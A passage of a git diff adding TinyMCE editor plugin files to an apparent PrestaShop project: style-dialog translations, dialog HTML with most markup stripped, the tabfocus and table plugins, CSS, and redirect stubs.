\u0441\u0442\u0438\u043b\u044e",clip:"\u0421\u043a\u0440\u0456\u043f\u043b\u0435\u043d\u043d\u044f",placement:"\u0420\u043e\u0437\u043c\u0456\u0449\u0435\u043d\u043d\u044f",overflow:"\u041f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f",zindex:"Z-\u0456\u043d\u0434\u0435\u043a\u0441",visibility:"\u0412\u0438\u0434\u0438\u043c\u0456\u0441\u0442\u044c","positioning_type":"\u0422\u0438\u043f",position:"\u041f\u043e\u0437\u0438\u0446\u0456\u044f","bullet_image":"\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u0437\u043d\u0430\u0447\u043a\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0443","list_type":"\u0422\u0438\u043f",color:"\u041a\u043e\u043b\u0456\u0440",height:"\u0412\u0438\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",style:"\u0421\u0442\u0438\u043b\u044c",margin:"Margin",left:"\u041b\u0456\u0432\u043e\u0440\u0443\u0447",bottom:"\u0417\u043d\u0438\u0437\u0443",right:"\u041f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",top:"\u0412\u0433\u043e\u0440\u0443",same:"\u041e\u0434\u043d\u0430\u043a\u043e\u0435 \u0434\u043b\u044f \u0432\u0441\u0456\u0445",padding:"\u0412\u043d\u0443\u0442\u0440\u0456\u0448\u043d\u0456\u0439 \u0432\u0456\u0434\u0441\u0442\u0443\u043f","box_clear":"\u041e\u0447\u0438\u0441\u0442\u043a\u0430","box_float":"\u041f\u043b\u0430\u0432\u0430\u043d\u043d\u044f","box_height":"\u0412\u0438\u0441\u043e\u0442\u0430","box_width":"\u0428\u0438\u0440\u0438\u043d\u0430","block_display":"\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u0438","block_whitespace":"\u041f\u0440\u043e\u0431\u0456\u043b","block_text_indent":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f","block_text_align":"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f \u0442\u0435\u043a\u0441\u0442\u0443","block_vertical_alignment":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f","block_letterspacing":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438 \u043c\u0456\u0436 \u043b\u0456\u0442\u0435\u0440\u0430\u043c\u0438","block_wordspacing":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438 \u043c\u0456\u0436 \u0441\u043b\u043e\u0432\u0430\u043c\u0438","background_vpos":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0456\u044f","background_hpos":"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0456\u044f","background_attachment":"\u0412\u043a\u043b\u0430\u0434\u0435\u043d\u043d\u044f","background_repeat":"\u041f\u043e\u0432\u0442\u043e\u0440","background_image":"\u0424\u043e\u043d\u043e\u0432\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","background_color":"\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443","text_none":"\u041d\u0456\u0447\u043e\u0433\u043e","text_blink":"\u041c\u0435\u0440\u0435\u0445\u0442\u0456\u043d\u043d\u044f","text_case":"\u0420\u0435\u0433\u0456\u0441\u0442\u0440","text_striketrough":"\u0417\u0430\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","text_underline":"\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","text_overline":"\u041d\u0430\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","text_decoration":"\u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044f","text_color":"\u041a\u043e\u043b\u0456\u0440",text:"\u0422\u0435\u043a\u0441\u0442",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/vi_dlg.js b/js/tiny_mce/plugins/style/langs/vi_dlg.js new file mode 100755 index 0000000..ee7136b --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.style_dlg',{"text_lineheight":"Chi\u1ec1u cao \u0111\u01b0\u1eddng","text_variant":"Bi\u1ebfn \u0111\u1ed5i","text_style":"Ki\u1ec3u d\u00e1ng","text_weight":"Tr\u1ecdng l\u01b0\u1ee3ng","text_size":"K\u00edch c\u1ee1","text_font":"Ph\u00f4ng","text_props":"V\u0103n b\u1ea3n","positioning_tab":"V\u1ecb tr\u00ed","list_tab":"Danh s\u00e1ch","border_tab":"Vi\u1ec1n","box_tab":"H\u1ed9p","block_tab":"Kh\u1ed1i","background_tab":"N\u1ec1n","text_tab":"V\u0103n b\u1ea3n",apply:"\u00c1p d\u1ee5ng",title:"S\u1eeda ki\u1ec3u d\u00e1ng CSS",clip:"Ghim",placement:"S\u1eafp \u0111\u1eb7t",overflow:"Tr\u00e0n",zindex:"Ch\u1ec9 m\u1ee5c Z",visibility:"Nh\u00ecn th\u1ea5y","positioning_type":"Ki\u1ec3u",position:"V\u1ecb tr\u00ed","bullet_image":"\u1ea2nh Bullet","list_type":"Ki\u1ec3u",color:"M\u00e0u",height:"Chi\u1ec1u cao",width:"Chi\u1ec1u r\u1ed9ng",style:"Ki\u1ec3u",margin:"Bi\u00ean",left:"Tr\u00e1i",bottom:"D\u01b0\u1edbi",right:"Ph\u1ea3i",top:"Tr\u00ean",same:"\u00c1p d\u1ee5ng cho t\u1ea5t c\u1ea3",padding:"\u0110\u1ec7m l\u00f3t","box_clear":"L\u00e0m s\u1ea1ch","box_float":"N\u1ed5i","box_height":"Chi\u1ec1u cao","box_width":"Chi\u1ec1u r\u1ed9ng","block_display":"Hi\u1ec3n th\u1ecb","block_whitespace":"Kho\u1ea3ng tr\u1eafng","block_text_indent":"Th\u1ee5t d\u00f2ng v\u0103n b\u1ea3n","block_text_align":"Canh l\u1ec1 v\u0103n b\u1ea3n","block_vertical_alignment":"Canh l\u1ec1 d\u1ecdc","block_letterspacing":"Kho\u1ea3ng c\u00e1c k\u00fd t\u1ef1","block_wordspacing":"Kho\u1ea3ng c\u00e1c t\u1eeb","background_vpos":"V\u1ecb tr\u00ed d\u1ecdc","background_hpos":"V\u1ecb tr\u00ed ngang","background_attachment":"\u0110\u00ednh k\u00e8m","background_repeat":"L\u1eb7p l\u1ea1i","background_image":"\u1ea2nh n\u1ec1n","background_color":"M\u00e0u n\u1ec1n","text_none":"kh\u00f4ng","text_blink":"nh\u1ea5p nh\u00e1y","text_case":"Bo\u0323c","text_striketrough":"g\u1ea1ch xuy\u00ean","text_underline":"g\u1ea1ch d\u01b0\u1edbi","text_overline":"g\u1ea1ch tr\u00ean","text_decoration":"Trang tr\u00ed","text_color":"M\u00e0u",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/style/langs/zh-cn_dlg.js new file mode 100755 index 0000000..c5fc08b --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.style_dlg',{"text_lineheight":"\u884c\u9ad8","text_variant":"\u53d8\u5f62","text_style":"\u6837\u5f0f","text_weight":"\u7c97\u7ec6","text_size":"\u5927\u5c0f","text_font":"\u5b57\u4f53","text_props":"\u6587\u672c","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u5217\u8868","border_tab":"\u8fb9\u6846","box_tab":"Box","block_tab":"\u533a\u5757","background_tab":"\u80cc\u666f","text_tab":"\u6587\u672c",apply:"\u5e94\u7528",title:"\u7f16\u8f91CSS\u6837\u5f0f",clip:"\u526a\u8f91",placement:"\u653e\u7f6e",overflow:"\u6ea2\u51fa",zindex:"Z-Index",visibility:"\u53ef\u89c1","positioning_type":"\u7c7b\u578b",position:"\u4f4d\u7f6e","bullet_image":"\u56fe\u7247\u9879\u76ee\u7b26\u53f7","list_type":"\u7c7b\u578b",color:"\u989c\u8272",height:"\u9ad8\u5ea6",width:"\u5bbd\u5ea6",style:"\u6837\u5f0f",margin:"\u5916\u8fb9\u8ddd",left:"\u5de6",bottom:"\u4e0b",right:"\u53f3",top:"\u4e0a",same:"\u5168\u90e8\u76f8\u540c",padding:"\u5185\u8fb9\u8ddd","box_clear":"\u6e05\u9664\u6d6e\u52a8","box_float":"\u6d6e\u52a8","box_height":"\u9ad8\u5ea6","box_width":"\u5bbd\u5ea6","block_display":"\u663e\u793a","block_whitespace":"\u7a7a\u683c","block_text_indent":"\u6587\u5b57\u7f29\u6392","block_text_align":"\u6587\u5b57\u5bf9\u9f50","block_vertical_alignment":"\u5782\u76f4\u5bf9\u9f50","block_letterspacing":"\u5b57\u95f4\u8ddd","block_wordspacing":"\u8bcd\u95f4\u8ddd","background_vpos":"\u5782\u76f4\u4f4d\u7f6e","background_hpos":"\u6c34\u5e73\u4f4d\u7f6e","background_attachment":"\u9644\u4ef6","background_repeat":"\u91cd\u590d","background_image":"\u80cc\u666f\u56fe\u7247","background_color":"\u80cc\u666f\u989c\u8272","text_none":"\u65e0","text_blink":"\u95ea\u70c1","text_case":"\u5b57\u4f53\u5f62\u5f0f","text_striketrough":"\u5220\u9664\u7ebf","text_underline":"\u4e0b\u5212\u7ebf","text_overline":"\u4e0a\u5212\u7ebf","text_decoration":"\u5b57\u4f53\u88c5\u9970","text_color":"\u989c\u8272",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/style/langs/zh-tw_dlg.js new file mode 100755 index 0000000..22774eb --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.style_dlg',{"text_lineheight":"\u6587\u5b57\u884c\u9ad8","text_variant":"\u7279\u6b8a\u5b57\u9ad4","text_style":"\u6a23\u5f0f","text_weight":"\u5b57\u9ad4\u7c97\u7d30","text_size":"\u5b57\u9ad4\u5927\u5c0f","text_font":"\u5b57\u9ad4","text_props":"\u5b57\u578b","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u5217\u8868","border_tab":"\u908a\u6846","box_tab":"\u65b9\u584a","block_tab":"\u5340\u584a","background_tab":"\u80cc\u666f","text_tab":"\u5b57\u578b",apply:"\u5957\u7528",title:"\u7de8\u8f2f CSS \u6a23\u5f0f",clip:"\u526a\u8f2f",placement:"\u653e\u7f6e",overflow:"\u5377\u8ef8\u8a2d\u5b9a (Overflow)",zindex:"Z \u8ef8",visibility:"\u80fd\u898b\u5ea6","positioning_type":"\u5f62\u5f0f",position:"\u4f4d\u7f6e","bullet_image":"\u9805\u76ee\u7b26\u865f (\u6709\u5716\u7247)","list_type":"\u5f62\u5f0f",color:"\u984f\u8272",height:"\u9ad8\u5ea6",width:"\u5bec\u5ea6",style:"\u6a23\u5f0f",margin:"\u908a\u8ddd",left:"\u5de6\u908a",bottom:"\u4e0b\u65b9",right:"\u53f3\u908a",top:"\u4e0a\u65b9",same:"\u5168\u90e8\u4e00\u6a23",padding:"\u5167\u8ddd","box_clear":"\u79fb\u9664\u6d6e\u52d5\u6548\u679c","box_float":"\u6d6e\u52d5\u6548\u679c","box_height":"\u9ad8\u5ea6","box_width":"\u9ad8\u5ea6","block_display":"\u986f\u793a","block_whitespace":"\u7a7a\u683c","block_text_indent":"\u6587\u5b57\u7e2e\u6392","block_text_align":"\u6587\u5b57\u5c0d\u9f4a","block_vertical_alignment":"\u5782\u76f4\u5c0d\u9f4a","block_letterspacing":"\u6587\u5b57\u9593\u9694","block_wordspacing":"\u5b57\u8a5e\u9593\u9694","background_vpos":"\u5782\u76f4","background_hpos":"\u6c34\u5e73","background_attachment":"\u9644\u4ef6","background_repeat":"\u91cd\u8907","background_image":"\u80cc\u666f\u5716\u7247","background_color":"\u80cc\u666f\u984f\u8272","text_none":"\u7121","text_blink":"\u9583\u720d\u6548\u679c","text_case":"\u5b57\u9ad4\u6a23\u5f0f","text_striketrough":"\u522a\u9664\u7dda","text_underline":"\u5e95\u7dda","text_overline":"\u4e00\u689d\u7dda\u5728\u4e0a\u9762","text_decoration":"\u7dda\u689d\u6a23\u5f0f","text_color":"\u984f\u8272",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/props.htm b/js/tiny_mce/plugins/style/props.htm new file mode 100755 index 0000000..44e188c --- /dev/null +++ b/js/tiny_mce/plugins/style/props.htm @@ -0,0 +1,840 @@ + + + + {#style_dlg.title} + + + + + + + + + + +
    + + +
    +
    +
    + {#style_dlg.text} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + +
      + + +
    +
    + +
    + + + +
    + + + + + + +
    + +   + + +
    +
    + +
    + + + + + +
     
    +
    {#style_dlg.text_decoration} + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.background} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
     
    +
    + + + + +
     
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.block} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.box} + + + + + + + + + + + + + + +
    + + + + + + +
      + + +
    +
       
    + + + + + + +
      + + +
    +
       
    +
    + +
    +
    + {#style_dlg.padding} + + + + + + + + + + + + + + + + + + + + + + +
     
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.margin} + + + + + + + + + + + + + + + + + + + + + + +
     
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    + + + + + + +
      + + +
    +
    +
    +
    +
    +
    + +
    +
    + {#style_dlg.border} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      {#style_dlg.style} {#style_dlg.width} {#style_dlg.color}
          
    {#style_dlg.top}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    {#style_dlg.right}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    {#style_dlg.bottom}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    {#style_dlg.left}   + + + + + + +
      + + +
    +
      + + + + + +
     
    +
    +
    +
    + +
    +
    + {#style_dlg.list} + + + + + + + + + + + + + + + +
    +
    +
    + +
    +
    + {#style_dlg.position} + + + + + + + + + + + + + + + + + + + + + +
       
    + + + + + + +
      + + +
    +
       
    + + + + + + +
      + + +
    +
       
    +
    + +
    +
    + {#style_dlg.placement} + + + + + + + + + + + + + + + + + + + + + + +
     
    {#style_dlg.top} + + + + + + +
      + + +
    +
    {#style_dlg.right} + + + + + + +
      + + +
    +
    {#style_dlg.bottom} + + + + + + +
      + + +
    +
    {#style_dlg.left} + + + + + + +
      + + +
    +
    +
    +
    + +
    +
    + {#style_dlg.clip} + + + + + + + + + + + + + + + + + + + + + + +
     
    {#style_dlg.top} + + + + + + +
      + + +
    +
    {#style_dlg.right} + + + + + + +
      + + +
    +
    {#style_dlg.bottom} + + + + + + +
      + + +
    +
    {#style_dlg.left} + + + + + + +
      + + +
    +
    +
    +
    +
    +
    +
    + +
    + + + +
    +
    + +
    +
    +
    + + + diff --git a/js/tiny_mce/plugins/tabfocus/editor_plugin.js b/js/tiny_mce/plugins/tabfocus/editor_plugin.js new file mode 100755 index 0000000..42a82d1 --- /dev/null +++ b/js/tiny_mce/plugins/tabfocus/editor_plugin.js @@ -0,0 +1 @@ +(function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(t){n=c.select(":input:enabled,*[tabindex]");function s(v){return v.nodeName==="BODY"||(v.type!="hidden"&&!(v.style.display=="none")&&!(v.style.visibility=="hidden")&&s(v.parentNode))}function i(v){return v.attributes.tabIndex.specified||v.nodeName=="INPUT"||v.nodeName=="TEXTAREA"}function u(){return tinymce.isIE6||tinymce.isIE7}function r(v){return((!u()||i(v)))&&v.getAttribute("tabindex")!="-1"&&s(v)}d(n,function(w,v){if(w.id==l.id){j=v;return false}});if(t>0){for(m=j+1;m=0;m--){if(r(n[m])){return n[m]}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(n.id&&(l=tinymce.get(n.id||n.name))){l.focus()}else{window.setTimeout(function(){if(!tinymce.isWebKit){window.focus()}n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/tabfocus/editor_plugin_src.js b/js/tiny_mce/plugins/tabfocus/editor_plugin_src.js new file mode 100755 index 0000000..a1579c8 --- /dev/null +++ b/js/tiny_mce/plugins/tabfocus/editor_plugin_src.js @@ -0,0 +1,122 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var DOM = tinymce.DOM, Event = tinymce.dom.Event, each = tinymce.each, explode = tinymce.explode; + + tinymce.create('tinymce.plugins.TabFocusPlugin', { + init : function(ed, url) { + function tabCancel(ed, e) { + if (e.keyCode === 9) + return Event.cancel(e); + } + + function tabHandler(ed, e) { + var x, i, f, el, v; + + function find(d) { + el = DOM.select(':input:enabled,*[tabindex]'); + + function canSelectRecursive(e) { + return e.nodeName==="BODY" || (e.type != 'hidden' && + !(e.style.display == "none") && + !(e.style.visibility == "hidden") && canSelectRecursive(e.parentNode)); + } + function canSelectInOldIe(el) { + return el.attributes["tabIndex"].specified || el.nodeName == "INPUT" || el.nodeName == "TEXTAREA"; + } + function isOldIe() { + return tinymce.isIE6 || tinymce.isIE7; + } + function canSelect(el) { + return ((!isOldIe() || canSelectInOldIe(el))) && el.getAttribute("tabindex") != '-1' && canSelectRecursive(el); + } + + each(el, function(e, i) { + if (e.id == ed.id) { + x = i; + return false; + } + }); + if (d > 0) { + for (i = x + 1; i < el.length; i++) { + if (canSelect(el[i])) + return el[i]; + } + } else { + for (i = x - 1; i >= 0; i--) { + if (canSelect(el[i])) + return el[i]; + } + } + + return null; + } + + if (e.keyCode === 9) { + v = explode(ed.getParam('tab_focus', ed.getParam('tabfocus_elements', ':prev,:next'))); + + if (v.length == 1) { + v[1] = v[0]; + v[0] = ':prev'; + } + + // Find element to focus + if (e.shiftKey) { + if (v[0] == ':prev') + el = find(-1); + else + el = DOM.get(v[0]); + } else { + if (v[1] == ':next') + el = find(1); + else + el = DOM.get(v[1]); + } + + if (el) { + if (el.id && (ed = tinymce.get(el.id || el.name))) + ed.focus(); + else + window.setTimeout(function() { + if (!tinymce.isWebKit) + window.focus(); + el.focus(); + }, 10); + + return Event.cancel(e); + } + } + } + + ed.onKeyUp.add(tabCancel); + + if (tinymce.isGecko) { + ed.onKeyPress.add(tabHandler); + ed.onKeyDown.add(tabCancel); + } else + ed.onKeyDown.add(tabHandler); + + }, + + getInfo : function() { + return { + longname : 'Tabfocus', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('tabfocus', tinymce.plugins.TabFocusPlugin); +})(); diff --git a/js/tiny_mce/plugins/tabfocus/index.php b/js/tiny_mce/plugins/tabfocus/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/tabfocus/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/table/cell.htm b/js/tiny_mce/plugins/table/cell.htm new file mode 100755 index 0000000..2922f7a --- /dev/null +++ b/js/tiny_mce/plugins/table/cell.htm @@ -0,0 +1,180 @@ + + + + {#table_dlg.cell_title} + + + + + + + + + +
    + + +
    +
    +
    + {#table_dlg.general_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + +
    + + + +
    + +
    +
    +
    + +
    +
    + {#table_dlg.advanced_props} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + + + + + +
     
    +
    + + + + + +
     
    +
    + + + + + +
     
    +
    +
    +
    +
    + +
    +
    + +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/table/css/cell.css b/js/tiny_mce/plugins/table/css/cell.css new file mode 100755 index 0000000..a47cc1a --- /dev/null +++ b/js/tiny_mce/plugins/table/css/cell.css @@ -0,0 +1,17 @@ +/* CSS file for cell dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#class { + width: 150px; +} \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/css/index.php b/js/tiny_mce/plugins/table/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/table/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/css/row.css b/js/tiny_mce/plugins/table/css/row.css new file mode 100755 index 0000000..0e397db --- /dev/null +++ b/js/tiny_mce/plugins/table/css/row.css @@ -0,0 +1,25 @@ +/* CSS file for row dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#rowtype,#align,#valign,#class,#height { + width: 150px; +} + +#height { + width: 50px; +} + +.col2 { + padding-left: 20px; +} diff --git a/js/tiny_mce/plugins/table/css/table.css b/js/tiny_mce/plugins/table/css/table.css new file mode 100755 index 0000000..8f10783 --- /dev/null +++ b/js/tiny_mce/plugins/table/css/table.css @@ -0,0 +1,13 @@ +/* CSS file for table dialog in the table plugin */ + +.panel_wrapper div.current { + height: 245px; +} + +.advfield { + width: 200px; +} + +#class { + width: 150px; +} diff --git a/js/tiny_mce/plugins/table/editor_plugin.js b/js/tiny_mce/plugins/table/editor_plugin.js new file mode 100755 index 0000000..9acc09b --- /dev/null +++ b/js/tiny_mce/plugins/table/editor_plugin.js @@ -0,0 +1 @@ +(function(d){var e=d.each;function c(g,h){var j=h.ownerDocument,f=j.createRange(),k;f.setStartBefore(h);f.setEnd(g.endContainer,g.endOffset);k=j.createElement("body");k.appendChild(f.cloneContents());return k.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi,"-").replace(/<[^>]+>/g,"").length==0}function a(g,f){return parseInt(g.getAttribute(f)||1)}function b(H,G,K){var g,L,D,o;t();o=G.getParent(K.getStart(),"th,td");if(o){L=F(o);D=I();o=z(L.x,L.y)}function A(N,M){N=N.cloneNode(M);N.removeAttribute("id");return N}function t(){var M=0;g=[];e(["thead","tbody","tfoot"],function(N){var O=G.select("> "+N+" tr",H);e(O,function(P,Q){Q+=M;e(G.select("> td, > th",P),function(W,R){var S,T,U,V;if(g[Q]){while(g[Q][R]){R++}}U=a(W,"rowspan");V=a(W,"colspan");for(T=Q;T'}return false}},"childNodes");M=A(M,false);s(M,"rowSpan",1);s(M,"colSpan",1);if(N){M.appendChild(N)}else{if(!d.isIE){M.innerHTML='
    '}}return M}function q(){var M=G.createRng();e(G.select("tr",H),function(N){if(N.cells.length==0){G.remove(N)}});if(G.select("tr",H).length==0){M.setStartAfter(H);M.setEndAfter(H);K.setRng(M);G.remove(H);return}e(G.select("thead,tbody,tfoot",H),function(N){if(N.rows.length==0){G.remove(N)}});t();row=g[Math.min(g.length-1,L.y)];if(row){K.select(row[Math.min(row.length-1,L.x)].elm,true);K.collapse(true)}}function u(S,Q,U,R){var P,N,M,O,T;P=g[Q][S].elm.parentNode;for(M=1;M<=U;M++){P=G.getNext(P,"tr");if(P){for(N=S;N>=0;N--){T=g[Q+M][N].elm;if(T.parentNode==P){for(O=1;O<=R;O++){G.insertAfter(f(T),T)}break}}if(N==-1){for(O=1;O<=R;O++){P.insertBefore(f(P.cells[0]),P.cells[0])}}}}}function C(){e(g,function(M,N){e(M,function(P,O){var S,R,T,Q;if(j(P)){P=P.elm;S=a(P,"colspan");R=a(P,"rowspan");if(S>1||R>1){s(P,"rowSpan",1);s(P,"colSpan",1);for(Q=0;Q1){s(S,"rowSpan",O+1);continue}}else{if(M>0&&g[M-1][R]){V=g[M-1][R].elm;O=a(V,"rowSpan");if(O>1){s(V,"rowSpan",O+1);continue}}}N=f(S);s(N,"colSpan",S.colSpan);U.appendChild(N);P=S}}if(U.hasChildNodes()){if(!Q){G.insertAfter(U,T)}else{T.parentNode.insertBefore(U,T)}}}function h(N){var O,M;e(g,function(P,Q){e(P,function(S,R){if(j(S)){O=R;if(N){return false}}});if(N){return !O}});e(g,function(S,T){var P,Q,R;if(!S[O]){return}P=S[O].elm;if(P!=M){R=a(P,"colspan");Q=a(P,"rowspan");if(R==1){if(!N){G.insertAfter(f(P),P);u(O,T,Q-1,R)}else{P.parentNode.insertBefore(f(P),P);u(O,T,Q-1,R)}}else{s(P,"colSpan",P.colSpan+1)}M=P}})}function n(){var M=[];e(g,function(N,O){e(N,function(Q,P){if(j(Q)&&d.inArray(M,P)===-1){e(g,function(T){var R=T[P].elm,S;S=a(R,"colSpan");if(S>1){s(R,"colSpan",S-1)}else{G.remove(R)}});M.push(P)}})});q()}function m(){var N;function M(Q){var P,R,O;P=G.getNext(Q,"tr");e(Q.cells,function(S){var T=a(S,"rowSpan");if(T>1){s(S,"rowSpan",T-1);R=F(S);u(R.x,R.y,1,1)}});R=F(Q.cells[0]);e(g[R.y],function(S){var T;S=S.elm;if(S!=O){T=a(S,"rowSpan");if(T<=1){G.remove(S)}else{s(S,"rowSpan",T-1)}O=S}})}N=k();e(N.reverse(),function(O){M(O)});q()}function E(){var M=k();G.remove(M);q();return M}function J(){var M=k();e(M,function(O,N){M[N]=A(O,true)});return M}function B(O,N){var P=k(),M=P[N?0:P.length-1],Q=M.cells.length;e(g,function(S){var R;Q=0;e(S,function(U,T){if(U.real){Q+=U.colspan}if(U.elm.parentNode==M){R=1}});if(R){return false}});if(!N){O.reverse()}e(O,function(T){var S=T.cells.length,R;for(i=0;iN){N=R}if(Q>M){M=Q}if(S.real){U=S.colspan-1;T=S.rowspan-1;if(U){if(R+U>N){N=R+U}}if(T){if(Q+T>M){M=Q+T}}}}})});return{x:N,y:M}}function v(S){var 